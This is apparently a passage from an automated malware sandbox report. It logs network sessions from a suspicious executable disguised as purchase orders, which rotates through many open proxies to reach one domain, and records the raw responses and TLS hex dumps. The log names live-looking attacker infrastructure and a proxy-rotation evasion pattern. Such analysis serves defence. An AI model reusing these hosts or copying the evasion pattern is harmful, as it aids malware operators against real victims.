Mar 11, 2024 16:42:25.428811073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.310933113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475666046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.829607010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.438858032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.032569885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.594737053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.935673952 CET	234	IN	HTTP/1.0 502 Bad Gateway Proxy-Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>
Mar 11, 2024 16:43:14.211610079 CET	234	IN	HTTP/1.0 502 Bad Gateway Proxy-Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.11	52590	148.72.209.174	39027	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.429152012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.11	54225	103.182.112.11	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.429212093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.310930967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.282742023 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.11	54318	203.218.172.225	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.432075977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.11	54213	203.112.134.74	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.432246923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.11	54320	139.224.64.191	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.432558060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.773129940 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.11	54241	45.124.184.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.433020115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.861347914 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 16:42:33.862562895 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 26 69 4a d2 8d 1f b8 74 66 4c 69 b4 e6 a2 99 ae f2 78 90 36 ab ee 1a f0 61 a7 b9 74 34 cc 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&iJtfLix6at4,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#p:&~?4.5C"P U&={IaI.&
Mar 11, 2024 16:42:43.103995085 CET	1286	IN	Data Raw: 16 03 03 07 9f 02 00 00 51 03 03 65 ef 26 81 5f 13 6d e1 54 e1 7e 27 10 35 7d f0 78 d5 2a 65 5c 3d 0f c7 59 42 55 68 0b 6d 34 df 20 25 09 f0 86 92 d7 5b 71 f5 04 7c 71 d1 ad ce 25 05 2c 5d 4f 3f 30 3f 0e b8 f3 45 1d df 8f 30 b0 c0 2c 00 00 09 ff Data Ascii: Qe&_mT~'5}xe\=YBUhm4 %[q\|q%,]O?0?E0,00AF]eSg"0H010UUS10UCalifornia10USunnyvale10UFortinet10UCertif
Mar 11, 2024 16:42:43.104013920 CET	670	IN	Data Raw: ad 6e 4b 2b 54 e7 00 36 d6 45 93 8a 64 db ba 10 c4 9b 54 37 b6 ab 5e 13 d8 7d 04 34 91 c1 4e a6 55 4f b2 ff 16 be ca ac af d6 90 e4 2c c1 77 98 86 f8 0d bf 8d a6 47 0f 3e a0 d1 ba 42 57 c6 e8 38 8e f7 e4 97 57 94 93 ec 03 fb eb f4 2c 36 b5 4a 4e Data Ascii: nK+T6EdT7^}4NUO,wG>BW8W,6JNz9TF>y~caIN02s#`0xm7^^=4%0kc[O.Z{ua=$W!y8_\|4"pfNNd:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.11	54215	175.183.82.221	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.433124065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.11	54363	199.58.184.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.438812971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.11	54354	18.133.16.21	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.445931911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.736866951 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:25.740245104 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 60 08 82 9a 98 4d 56 99 b6 0c 53 28 c6 14 48 b9 f0 29 19 9c 3a a6 1f 4e e7 a8 85 10 c7 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&`MVS(H):N*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:26.035552979 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 e8 7f 99 d0 17 b2 39 e1 84 d1 b0 cd 8e 89 9f 76 e7 28 0f 0f 4c e4 8e dc 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =99v(LDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152422Z260311152422Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:26.045855045 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f6 7d 2d c8 de 17 da c4 9c a0 c1 6e b2 43 63 3e 27 a3 7d 23 ac 92 4f 8b f9 76 6a a0 b5 6e 42 65 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 9f 50 d0 81 b4 fd 99 e2 4a 7d b1 f8 b0 4e 46 34 d4 03 e6 6e 18 Data Ascii: %! }-nCc>'}#OvjnBe(PJ}NF4n7ll
Mar 11, 2024 16:42:26.335272074 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 a5 c4 d3 4f 44 0d 37 4c 6c 3f e4 c7 93 c6 45 a9 96 8e 00 b3 1a 95 1f a4 e5 13 f9 0c 2d e3 2e f9 96 02 f3 9f 9d 66 68 80 Data Ascii: (OD7Ll?E-.fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.11	54360	18.185.169.150	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.449263096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.752851009 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.11	54257	103.153.154.6	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.449451923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.883115053 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.11	52898	98.178.72.21	10919	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.450012922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.11	54385	47.89.184.18	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.450331926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.666208029 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.11	54421	104.25.108.120	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.452017069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.606832027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.11	54410	162.159.243.178	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.452018023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.613233089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.11	54275	175.183.82.221	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.453408957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.11	53855	91.134.140.160	30895	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.456800938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.142028093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.142180920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.11	54430	185.238.228.96	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.464572906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.619158030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.11	54362	47.243.205.1	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
